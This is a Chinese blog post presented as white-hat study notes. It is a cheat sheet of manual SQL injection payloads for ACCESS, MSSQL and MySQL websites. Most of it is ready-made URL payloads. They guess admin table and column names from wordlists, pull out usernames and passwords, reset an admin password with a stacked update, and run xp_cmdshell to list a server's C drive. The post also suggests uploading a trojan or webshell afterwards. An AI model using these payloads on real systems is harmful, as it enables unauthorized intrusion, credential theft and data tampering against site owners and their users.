【白帽子學習筆記14】SQL注入常用語句

【白帽子學習筆記14】SQL注入常用語句

目前網站中使用的最多的數據庫要算是 ACCESS、SQL Server(MSSQL)、MySQL 這三個了,所以這裏的手工注入,我就以他們三個數據庫來分成三 小節,講述在不同的數據庫下不同的注入方法。

1、ACCESS

驗證是否有漏洞

  • http://www.xxx.com/xx.asp?id=x and 1=1
  • http://www.xxx.com/xx.asp?id=x and 1=2

判斷數據庫類型

  • http://www.xxx.com/xx.asp?id=x and user>0
    ACESS數據庫返回的數據庫錯誤中一般會含有 “Microsoft JET Database”

猜數據庫表名

猜解表名的語句爲在注入點後加 上and exists (select * from 表名)或者and exists (select count from 表名)

  • 猜測數據庫中有叫做Keter的表,那就輸入http://www.xxx.com/xx.asp?id=x and exists (select * from Keter),如果有就返回正常,沒有就有返回報錯在這裏插入圖片描述
    一般常見的表名有:admin、a_admin、x_admin、m_admin、adminuser、admin_user、 article_admin、administrator、manager、member、memberlist、user、users、userinfo、 user_info、admin_userinfo、userlist、user_list、login、用戶、密碼、會員、登陸、 movie、movies、news、password、clubconfig、config、company、book、art、bbs、dv_admin
    等等。

  • 猜完表名就應該猜列名了 http://www.xxx.com/xx.asp?id=x and exists (select admin_name from admin) 把select中的*換成具體的名字即可
    一般常見的列名有:id、adminid、admin_id、adminuser、admin_user、adminuserid、 admin_userid、adminusername、admin_username、adminname、admin_name、adminpwd、 admin_pwd、adminpass、admin_pass、adminpassword、admin_password、administrator、 administrators、usr、usr_n、username、usr_name、usrpass、user_pass、password、 userpassword、user_password、pwd、userpwd、user_pwd、useradmin、user_admin、p_word、 passwd、pass_wd、yonghu、用戶、用戶名、mima、密碼、dw、oklook等等。

  • 猜列的長度: http://www.xxx.com/xx.asp?id=x and (select top 1 len(adminname) from config)>1、>2、>3、>4

  • 猜第N行的長度:http://www.xxx.com/xx.asp?id=x and (select top N len(adminname) from config)>x

ASP+ACCESS 的注入攻擊,我們得到用戶名和密碼也就完成了。 如果我們要繼續入侵的話,只有進入後臺,看能否上傳木馬或利用一句話木馬來得到

2、SQL Server(MSSQL)

確認當前數據庫的用戶名

  • http://www.xxx.com/xxx.asp?id=xx and user>0
    在這裏插入圖片描述
    雖然 and user>0 很簡單,但卻包含了 SQLServer 特有注入方法的精髓。讓我們來看看它的含義: 首先,前面的語句是正常的,重點在 and user>0,因爲 user 是 SQLServer 的一個內置變量, 它的值是當前連接的用戶名,類型爲 nvarchar。而這裏我們拿一個 nvarchar 的值跟 int 的數的 0 比較,系統會先試圖將 nvarchar 的值轉成 int 型,當然,轉的過程中肯定會出錯, SQLServer 的出錯提示是:將 nvarchar 值“abc” 轉換數據類型爲 int 的列時發生語法錯 誤,呵呵,abc 正是變量 user 的值,這樣,不廢吹灰之力就拿到了數據庫的用戶名。還有 在我們的 SQLServer 數據庫裏的用戶 sa 是個等同 Adminstrators 權限的角色,拿到了 sa 權限,幾乎肯定可以拿到主機的 Administrator 了。而我們上面的方法可以很方便的測試 出是否是用 sa 登錄,如果是 sa 登錄那麼返回的錯誤提示是將”dbo”轉換成 int 的列發生錯誤,而不是”sa”

獲取用戶的數據信息

  • 暴當前表中的列:http://www.xxx.com/xxx.asp?id=xx having 1=1--
  • 暴任意表名和 列名的方法:and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1。其中N就是代表數據庫中的第N個表
  • 暴任意表中的任意列:and (select top 1 col_name(object_id('表名'),N) from sysobjects)>1
  • 暴出數據庫中的數據:and (select top 1 列名 from 表名 where id=N)>1

url中帶的是字符怎麼辦?

  • http://www.xxx.com/xxx.asp?action=value' and 1=1

修改數據庫中的數據

  • ;update 表名 set 列名='內容' where 條件 比如 http://www.xxx.com/xxx.asp?id=xx;update admin set password='123' where user name= 'Keter'

獲取數據庫名和數據庫版本和權限

  • 獲取數據庫版本:and (sel ect @@versi on)>0
  • 獲取數據庫名:and db_name()>0
  • 獲取數據庫權限:http://www.xxx.com/xxx.asp?id=xx and db_name()>0
  • 獲取數據是否支持多句查詢:http://www.xxx.com/xxx.asp?id=xx and (select count(1) from [sysobjects])>=0

MSSQL的擴展功能

  • 查看服務器C盤的目錄:;exec master..xp_cmd shell 'dir c:\'(XP系統)

3、MYSQL

PHP 與 MySQL 是黃金組合,下面就以他們來作爲 MySQL 注入的平臺吧

數據庫版本

在 MySQL 版本 4(包括版本4)及以上版本新增了一個聯合查詢查詢(UNION)的功能, 比如 SQL 語句 1 UNION SQL 語句 2,提交之後我們的 SQL 語句 1 和 SQL 語句 2 都會被執行, 通過聯合查詢這個字面意思也是可以理解的。正是這個功能使得 MySQL 發生 SQL 注入漏洞的 危險性大大的得到提高,利用它我們可以輕易的獲取數據庫中其他數據表的信息。而在版本 4 以下,確不支持這個功能,而且由於 PHP 中的 mysql_query 函數限制了只能查詢一個 SQL 語句,即使你使用分號把多個 SQL 語句組合到一起嵌入 mysql_query 函數,實際上也只有第 一個 SQL 語句被提交給 MySQL,所以那個時候 MySQL 的注入並不是特別的嚴重,而如今確變了。

  • and ord(mid(version(),1,1))>51/* 返回正常版本大於4.0 ,返回錯誤版本小於4.0。

  • /*!...*/,如果返回頁面是錯誤的話那幾乎可以確定網站後臺數據庫爲 MySQL 了,然後我們還可以進一步確認具體的版本,/*!30000%20s*/(判斷版本是否小於3.0)其他的類似

  • 確認字段數目:

    • 方法1:UNION ,要求前面的 SQL 語句 1 和後面的 SQL 語句 2 中的字段數要相同,否則就會出錯。我們可以提交 union select 1,1,1,1 及其類似的語句。通過不斷的增 加 1 的個數,在結合返回信息可以迅速確定該查詢語句前面查詢的字段數目。
    • 方法2:order by 利用 order by 後加數字,MySQL 會解釋成按照第幾列排序,如果查詢沒有我們提交的數字的那麼多頁就會返回錯誤。
  • 獲取當前數據庫的表名:union select 字段數 from 表名 ,中間的字段數大家要注意了,它是這樣表示的:假如 有三個字段,那麼就應該這樣:1,2,3。當然了這還是猜解表名。

  • 查詢用戶名和密碼:union select 1,password from admin union select 1,username from admin 當然你可以加上where id = *

  • 判斷是否是root權限:and ord(mid(user(),1,1))=114/*,正常的就是root權限

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章